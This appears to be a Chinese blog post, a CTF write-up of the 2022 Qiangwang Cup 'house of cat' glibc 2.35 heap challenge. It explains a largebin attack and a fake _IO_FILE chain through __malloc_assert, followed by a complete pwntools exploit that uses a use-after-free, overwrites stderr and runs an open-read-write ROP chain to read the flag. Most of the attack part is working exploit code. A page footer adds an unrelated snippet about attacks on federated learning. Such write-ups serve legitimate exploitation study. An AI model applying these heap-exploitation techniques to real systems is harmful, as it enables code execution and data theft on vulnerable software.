Largebin attack & house of cat

写在前面:打国赛的时候遇到的基本都是2.35的堆,奈何本人太菜做不出来,想着着暑假赶快恶补一下house of 系列。就先从house of cat 入手吧。之前高版本堆一直存在无符号表的情况,没符号表就看不了堆的构造,也就不能调试了(十分痛苦)。后来问了大哥,说是将下载的libc文件中的.debug 文件或者.debug 文件中的.buildid文件替换掉本地的符号表即可。代码大致如下:
sudo cp -r ~/桌面/glibc-all-in-one/libs/2.35-0ubuntu3.1_amd64/.debug/.build-id/* /usr/lib/debug/.build-id/

复现的是CatF1y大哥的出的同名题目2022 强网杯 house of cat。本题对于学习large bin attack 以及io 链的调用都有很大的帮助。具体的实现流程不再过多赘述,本博客主要记录使用方法。

fake_iofile模板:

ioaddr=heapaddr+0xaf0 #写入fake io 的堆块的地址(包含size 段的那块)
next_chain = 0
fake_IO_FILE = p64(ioaddr)
fake_IO_FILE +=p64(0)*5
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(ioaddr+0xb0)#rdx =_IO_backup_base  (原文说是函数执行时的rbx有点没懂,先埋个坑)
fake_IO_FILE +=p64(setcontext+61)#call addr (call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(ioaddr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(ioaddr+0x40)  # rax2
flagaddr=heapaddr+0x17c0   # 根据后续填入"flag"字符串的位置来定
ropaddr=heapaddr+0x2040   #   根据后续写入rop链的位置来定
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(ropaddr)+p64(ret)

largebin attack 过程:

之前对largebin attack 一直不太懂,通过本题有了一定的了解。

大概流程如下:

1.free 掉一个largebin 大小的chunk,他会进入unsortedbin中。

2.此时再申请一个更大的chunk,就会将unsortedbin 中的chunk放入largebin 中。

3.这时将bk_nextsize 设置为指定地址。

4.重复步骤一二就可以将新的chunk 链入largebin中,同时指定地址的值也会被改写成一个堆块的地址(即chunk2).

往指定地址写入一个堆块地址有什么用呢?如果我们在一个设计io调用链的函数中写入一个特定的堆地址,而这个堆地址是我们已经布置好的fake_iofile,那么通过一些函数调用是不是就能实现fake_io的利用呢?(比如FSOP或者__malloc_assert)

题目分析:

题目漏洞点主要在于free存在uaf,同时题目还给了两次edit机会。

 所以可以利用uaf实现libc以及堆地址的泄露,利用edit实现两次largebin attack。

add(1,0x420,b'a')
add(2,0x420,b'b')
add(3,0x418,b'b')

delete(1)
add(4,0x440,b'b')
show(1)

addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))   
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,b'\x00'))-0x290 

这样就可以同时将libc的地址以及堆地址泄露出来了。同时由于申请的堆块4size比堆块1的大,所以chunk1会进入到largebin中。

接着根据前面的模板布置好fake_iofile,同时将堆块3(5)进行释放,进入unsortedbin。这时布置好chunk1,将bk_nextsize设置为stderr-0x20。接着再次申请一个0x440的堆块,由于其大小大于chunk5,chunk5会进入到largebin中,同时stderr的地址会被设置成chunk5的地址即fake_iofile的地址。

delete(3)
add(5,0x418,payload1)
delete(5)
edit(1,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))
add(6,0x440,b'aaaa')

                                                          chunk6还未申请 

                                                         chunk6申请之后

可以看到stderr被写入了chunk3(5)的地址,后续调用__malloc_assert时就可以调用stderr从而触发fake_iofile了。 

接下来要触发stderr则要修改topchunk size这样在申请大堆块的时候就会出现topchunk size不满足从而触发__malloc_assert。思路同上,先释放chunk6,申请一个更大号的chunk10,chunk6进入largebin,再释放chunk8,布置chunk6,最后再申请一次大于chunk8 size的堆块即可。此时top chunk size就会被修改成一个较小的值,实现利用。(这里修改topchunk size 用的是heapaddr+0x28d0-0x20+3 即最后一块可用堆块的地址-0x20+3 不明白为什么不是直接用topchunk的地址,同时这里可以自己调试一下让topchunk的值变成一个较小的值)

add(6,0x440,b'aaaa')
gdb.attach(p)
add(7,0x430,b'flag')
add(8,0x430,b'cccc')

payload2=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)    #rax=2  open;

add(9,0x430,payload2)
delete(6)
add(10,0x450,b'aaaa')

delete(8)
edit(6,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x1360)+p64(heapaddr+0x28d0-0x20+3))

完整exp:

from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64',log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
elf=ELF('./house_of_cat')
libc=ELF('./libc.so.6')


mode =0
if mode == 0:
    p = process("./house_of_cat")
else:
    p = remote("node2.anna.nssctf.cn", 28952)
    #p = remote("47.98.99.193", 6666)


r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)


sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')


def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size))
    sa('plz input your content:\n',cont)
def delete(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)
    
add(1,0x420,b'a')
add(2,0x420,b'b')
add(3,0x418,b'b')

delete(1)
add(4,0x440,b'b')
show(1)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))   
   
p.recv(10)
heapaddr=u64(p.recv(6).ljust(8,b'\x00'))-0x290 
libcbase=addr-(0x7f42230250e0-0x7f4222e0b000)+0x10   
print(hex(addr))  
print(hex(heapaddr))   
print(hex(libcbase))   


rdi=libcbase+0x000000000002a3e5
rsi=libcbase+0x000000000002be51
rdxr12=libcbase+0x000000000011f497
ret=libcbase+0x0000000000029cd6
rax=libcbase+0x0000000000045eb0
stderr=libcbase+libc.sym['stderr']
setcontext=libcbase+libc.sym['setcontext']
close=libcbase+libc.sym['close']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
syscallret=libcbase+libc.search(asm('syscall\nret')).__next__()    

print(hex(stderr))


ioaddr=heapaddr+0xaf0 #the heapaddr to write fake io (include head)
next_chain = 0
fake_IO_FILE = p64(ioaddr)
fake_IO_FILE +=p64(0)*5
#fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(2)
fake_IO_FILE +=p64(ioaddr+0xb0)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(ioaddr+0x30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1)  # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(ioaddr+0x40)  # rax2
flagaddr=heapaddr+0x17c0   # tiaoshi
ropaddr=heapaddr+0x2040   #   tiaoshi
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(ropaddr)+p64(ret)
    
delete(3)
add(5,0x418,payload1)
delete(5)
edit(1,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))

add(6,0x440,b'aaaa')
gdb.attach(p)
add(7,0x430,b'flag')
add(8,0x430,b'cccc')

payload2=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)    #rax=2  open;

add(9,0x430,payload2)

delete(6)
add(10,0x450,b'aaaa')

delete(8)
edit(6,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x1360)+p64(heapaddr+0x28d0-0x20+3))
sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
sla('plz input your cat choice:\n',str(1))
sla('plz input your cat idx:',str(11))
#gdb.attach(p,'b* (_IO_wfile_seekoff)')
sla('plz input your cat size:',str(0x450))


    
    
    
    
    
p.interactive()  
    
    
    
    
    
    
    
    

总结:这种iofile题目难点在于如何找到合适的利用链,感觉在熟悉多种调用链后,其套路性应该还是比较明显的,这样就可以就可以将题目化成各种bin 的attack,不过本人在学习过程中还是存在许多不理解的地方,希望有大哥能带带我,也欢迎和各位师傅一起交流学习,如有错误还望指正。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
在“尾数攻击:是的,你真的可以后门联合学习”这个问题中,尾数攻击是指通过篡改联合学习模型中的尾部数据,来影响模型的训练结果以达到攻击的目的。 联合学习是一种保护用户隐私的分布式学习方法,它允许设备在不共享原始数据的情况下进行模型训练。然而,尾数攻击利用了这种机制的漏洞,通过对局部模型的微小篡改来迫使全局模型在联合学习过程中产生误差。 在尾数攻击中,攻击者可以修改尾部数据的标签、特征或权重,以改变训练模型。这可能导致全局模型在聚合本地模型时出现错误,从而得到错误的预测结果。攻击者可以利用这种攻击方式来干扰或扭曲联合学习任务的结果。 为了解决尾数攻击,可以采取以下措施: 1. 发现和识别攻击:通过监控和分析联合学习模型的训练过程,可以检测到异常的模型行为。例如,检查模型的准确性变化、每个本地模型的贡献以及全局模型与本地模型之间的差异。 2. 降低攻击影响:可以采用如去噪、增加数据量、增强模型鲁棒性等方法来减轻尾数攻击的影响。 3. 鉴别合法参与者:在联合学习任务中应对参与者进行身份认证和授权,并且限制恶意攻击者的参与。这样可以减少尾数攻击的潜在风险。 4. 加强安全机制:引入加密技术和鲁棒算法来保护联合学习过程中的数据和模型,防止未经授权的篡改。 综上所述,尾数攻击是一种可能出现在联合学习中的安全威胁。为了保护联合学习任务的安全性和可靠性,需要采取有效的措施来识别、减轻和预防尾数攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值